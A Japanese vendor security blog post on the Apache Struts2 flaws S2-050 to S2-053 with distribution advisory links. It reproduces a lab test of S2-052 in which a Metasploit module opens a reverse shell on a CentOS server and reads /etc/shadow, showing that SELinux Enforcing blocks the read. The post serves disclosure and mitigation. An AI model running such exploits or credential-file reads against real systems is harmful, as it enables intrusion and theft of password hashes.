Struts2の脆弱性とPoC(S2-052: CVE-2017-9805, S2-053: CVE-2017-12611) — | サイオスOSS | サイオステクノロジー

Struts2の脆弱性とPoC(S2-052: CVE-2017-9805, S2-053: CVE-2017-12611)
こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。
09/05/2017にApache Struts2に複数の脆弱性(S2-050, S2-051, S2-052)が報告されたことは既に様々なメディアで報告されていますので、皆様ご存知だと思います。また、続報として09/07/2017にも脆弱性の続報(S2-053)と修正版が更新されました。
これらの脆弱性の中でも、特にS2-052はCriticalで実際にPoCも出回っており、任意のコマンドが実行されるため非常に危険です。
今回はこれらの脆弱性の概要と、各ディストリビューションの対応、PoC情報について簡単にまとめてみます。
Struts2まとめサイト
Priority
Critical
修正方法
Strutsを最新のものに更新して下さい。多くのディストリビューションはstrutsパッケージを用意していません。そのため、一般的な情報と照らし合わせて、導入したベンダー・担当などと適切に確認してください。
CVE概要(詳細はCVEのサイトをご確認ください)
- S2-050 (CVE-2017-9804)
DoSの可能性
重要度 - Low
影響範囲 : Struts 2.3.7 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
前回の修正(S2-047)が不完全でした。URLvalidatorを使用している時、正規表現に依るDoSが引き起こされる可能性が有ります。
- S2-051 (CVE-2017-9793)
サーバでの任意のコード実行の可能性
重要度 - Medium
影響範囲 : Struts 2.3.7 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
RESTプラグインがXstreamHandlerをタイプフィルタリングしていないデシリアライズされたXStreamのインスタンスとして使用しており、リモートから任意のコードが実行される可能性があります。
- S2-052 (CVE-2017-9805)
サーバでの任意のコード実行の可能性
重要度 - Critical
影響範囲 : Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
RESTプラグインが脆弱な古いXstreamライブラリを使用しており、特別に細工されたXMLペイロードで悪意のある要求を行うことで、DoS攻撃を仕掛けることが可能です。
- S2-053 (CVE-2017-12611)
サーバでの任意のコード実行の可能性
重要度 - Moderate
影響範囲 : Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
Freemarkerタグの使い方で良くない構造を開発者が作成した場合、リモートから任意のコードが実行される可能性があります。
PoC(S2-052)とSELinuxによる緩和の確認
以下は、基本的にこちらにあるPoCの記事の日本語訳になります。
環境の準備
S2-052に関しては、Metasploitを使用するPoC環境がHackers Gridで公開されていますので、Metasploitを動作させるOSとしてKali Linuxを用意し、手順に従って攻撃が可能なようにします。
今回攻撃対象にしたのは、以下のOSになります。
HW: VMWare Guest (1CPU, 2GB Memory) OS: CentOS 7 (latest) Struts: 2.5.11
SELinuxのアクセス制御が聞いてるかを確認したいので、「敢えて」/etc/shadowのパーミッションを"755"にします。
root@centos7:~# ls -lZ /etc/shadow -rwxr-xr-x. root root system_u:object_r:shadow_t:s0 /etc/shadow
SELinuxによる緩和の確認
まずはSELinuxをアクセス制御が効かないモード(Permissive)にし、リモートのMetasploit(Kali Linux上)から攻撃してみましょう。リモートからMetasploitを使って攻撃すると、下記のように攻撃が成功し、リモートからシェルを取得することが可能です。この際、"id"コマンドを実行すると、tomcatユーザ(tomcat_tドメイン)でシェルが動作していることがわかります。また、"cat /etc/shadow"コマンドを実行すると、/etc/shadowファイルの中身を見ることが出きることがわかります。
次にSELinuxによるアクセス制御が有効なモード(Enforcing)にし、リモートのMetasploit(Kali Linux上)から攻撃してみましょう。リモートからMetasploitを使って攻撃すると、下記のように攻撃が成功し、リモートからシェルを取得することが可能です。この際、Permissiveのサイト同様に"cat /etc/shadow"コマンドを実行すると、SELinuxのポリシーにより、「Permission Denied」のエラーが出てきて/etc/shadowの内容は見られなくなっていることがわかります。
Permissiveの場合
msf exploit(struts2_rest_xstream) > exploit [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo DxP98C50UAVxX6jn; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "DxP98C50UAVxX6jn\r\n" [*] Matching... [*] A is input... [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:42:12 +0900 id uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0 cat /etc/shadow root:XXXXXX.::0:99999:7::: bin:*:17110:0:99999:7::: daemon:*:17110:0:99999:7::: --snip-- sshd:!!:17247:::::: jssosug:XXXXXXXXXXXX::0:99999:7::: jsossug@vmhost:~$
Enforcingの場合
msf exploit(struts2_rest_xstream) > exploit [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo DxP98C50UAVxX6jn; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "DxP98C50UAVxX6jn\r\n" [*] Matching... [*] A is input... [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:49:01 +0900 id uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0 cat /etc/shadow cat: /etc/shadow: Permission denied
結果
結果として、用意したStruts-2.5.11は脆弱性があり、リモートから脆弱性を攻撃するユーティリティを使うことで、簡単に任意のコマンドを実行できることがわかりました。この際に使用されるIDは"tomcat"になります。
また、SELinuxを有効にすることで、任意のコマンドが実行されたとしても、/etc/shadow等のアクセス権が与えられていないファイルやオブジェクトに対してアクセスすることが出来ないため、結果として被害を最小化できる(緩和:Mitigateできる)システムになっていることがわかりました。
主なディストリビューションの情報
Debian
https://security-tracker.debian.org/tracker/CVE-2017-9804
https://security-tracker.debian.org/tracker/CVE-2017-9793
Red Hat Enterprise Linux/CentOS
https://access.redhat.com/security/cve/CVE-2017-9804
https://access.redhat.com/security/cve/CVE-2017-9793
Oracle Linux
Ubuntu
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9804.html
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9793.html
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9805.html
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-12611.html
SUSE/openSUSE
https://www.suse.com/security/cve/CVE-2017-9804.html
https://www.suse.com/security/cve/CVE-2017-9793.html
対処方法
各情報を入手して検討し、適切にアップデートを行ってください。
[参考]
https://cwiki.apache.org/confluence/display/WW/S2-050
https://cwiki.apache.org/confluence/display/WW/S2-051
https://cwiki.apache.org/confluence/display/WW/S2-052
https://cwiki.apache.org/confluence/display/WW/S2-053
Apache Struts2 の脆弱性対策情報一覧 (IPA)
セキュリティ系連載案内
OSSセキュリティ技術の会による日経Linuxでの連載「IoT時代の最新SELinux入門」がITPro上で読めるようになりました。技術の会代表で第一人者である中村さん等による、最新のSELinuxの情報やコマンド類等も更新されているのでお薦めです。
OSSに関するお困りごとは サイオス OSSよろず相談室まで
サイオスOSSよろず相談室 では、OSSを利用する中で発生する問題に対し、長年培ってきた技術力・サポート力をもって企業のOSS活用を強力に支援します。Red Hat Enterprise Linux のほか、CentOS をご利用されている環境でのサポートも提供いたします。
- セキュリティ分野別一覧
- 最新の記事
- Linux Kernel 等の脆弱性(CVE-2018-8897, CVE-2018-1087) 2018年05月09日
- 389-ds-baseの脆弱性(CVE-2018-1089) 2018年05月09日
- wgetの脆弱性(CVE-2018-0494) 2018年05月07日
- Ansible Towerの脆弱性(CVE-2018-1101) 2018年05月03日
- python-paramikoの脆弱性(CVE-2018-7750) 2018年05月03日
- OpenShiftの脆弱性(CVE-2018-1102) 2018年05月02日
- PHPの複数の脆弱性(CVE-2018-10546, CVE-2018-10547, CVE-2018-10548, CVE-2018-10549) 2018年05月02日
- Linux Kernelの脆弱性(CVE-2018-1000199) 2018年05月02日
- GlusterFSサーバの脆弱性(CVE-2018-1112) 2018年04月27日
- nmapの脆弱性(CVE-2018-1000161) 2018年04月25日
- PackageKitの脆弱性(CVE-2018-1106) 2018年04月25日
- phpMyAdminの脆弱性(CVE-2018-10188) 2018年04月25日
- Linux Kernelに複数の脆弱性(CVE-2018-10322, CVE-2018-10323) 2018年04月25日
- Linux Kernelの脆弱性(CVE-2018-8781) 2018年04月25日
- GlusterFSの脆弱性(CVE-2018-1088) 2018年04月19日
- MySQLの脆弱性(Oracle Critical Patch Update Advisory - Apr 2018) 2018年04月19日
- Oracle Javaの脆弱性(Oracle Critical Patch Update Advisory - Apr 2018) 2018年04月18日
- Linux Kernelの脆弱性 (CVE-2018-10124) 2018年04月17日
- OpenSSLの脆弱性情報 ( CVE-2018-0737 : Low) 2018年04月17日
- GNU Patchの脆弱性(CVE-2018-1000156) 2018年04月08日
フォローしませんか?